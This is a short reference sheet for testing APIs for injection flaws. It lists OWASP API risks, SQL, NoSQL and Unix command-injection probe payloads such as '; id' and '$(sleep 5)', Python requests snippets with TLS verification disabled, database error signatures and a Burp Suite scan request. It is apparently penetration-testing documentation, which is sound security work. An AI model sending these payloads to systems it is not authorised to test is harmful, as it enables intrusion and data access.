# API Reference: API Injection Vulnerability Testing
|
|
|
|
## OWASP API Security Top 10
|
|
|
|
| # | Risk | Description |
|
|
|---|------|-------------|
|
|
| API1 | Broken Object Level Auth | Accessing other users' data |
|
|
| API2 | Broken Authentication | Weak auth mechanisms |
|
|
| API3 | Broken Object Property Level Auth | Mass assignment |
|
|
| API8 | Security Misconfiguration | Injection via misconfig |
|
|
| API10 | Unsafe Consumption | Server-side injection |
|
|
|
|
## SQL Injection Payloads
|
|
|
|
### Error-Based
|
|
```
|
|
' OR '1'='1
|
|
' UNION SELECT NULL,NULL--
|
|
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
|
|
```
|
|
|
|
### Time-Based Blind
|
|
```
|
|
' AND SLEEP(5)--
|
|
' AND pg_sleep(5)--
|
|
'; WAITFOR DELAY '0:0:5'--
|
|
```
|
|
|
|
## NoSQL Injection Payloads
|
|
|
|
### MongoDB Operator Injection
|
|
```json
|
|
{"username": {"$ne": ""}, "password": {"$ne": ""}}
|
|
{"username": {"$gt": ""}}
|
|
{"username": {"$regex": "admin.*"}}
|
|
```
|
|
|
|
### Where Clause Injection
|
|
```json
|
|
{"$where": "this.password == 'test'"}
|
|
```
|
|
|
|
## Command Injection Payloads
|
|
|
|
### Unix
|
|
```
|
|
; id
|
|
| whoami
|
|
$(id)
|
|
`id`
|
|
```
|
|
|
|
### Blind Command Injection
|
|
```
|
|
; sleep 5
|
|
| ping -c 5 127.0.0.1
|
|
$(sleep 5)
|
|
```
|
|
|
|
## Python requests Library
|
|
|
|
### GET with Parameters
|
|
```python
|
|
import requests
|
|
resp = requests.get(url, params={"id": payload}, timeout=10, verify=False)
|
|
```
|
|
|
|
### POST with JSON Body
|
|
```python
|
|
resp = requests.post(url, json={"field": payload}, timeout=10)
|
|
```
|
|
|
|
### Response Analysis
|
|
| Attribute | Usage |
|
|
|-----------|-------|
|
|
| `resp.status_code` | HTTP status |
|
|
| `resp.text` | Response body |
|
|
| `resp.elapsed.total_seconds()` | Response time |
|
|
| `len(resp.content)` | Response size |
|
|
|
|
## Error Signatures
|
|
|
|
### SQL Databases
|
|
| Database | Error Pattern |
|
|
|----------|---------------|
|
|
| MySQL | `You have an error in your SQL syntax` |
|
|
| PostgreSQL | `ERROR: syntax error at or near` |
|
|
| MSSQL | `Unclosed quotation mark` |
|
|
| Oracle | `ORA-01756` |
|
|
| SQLite | `SQLITE_ERROR` |
|
|
|
|
## Burp Suite API
|
|
|
|
### Initiate Scan
|
|
```http
|
|
POST https://burp:1337/v0.1/scan
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"urls": ["https://api.target.com/v1/users"],
|
|
"scan_configurations": [{"name": "Audit checks - SQL injection"}]
|
|
}
|
|
```
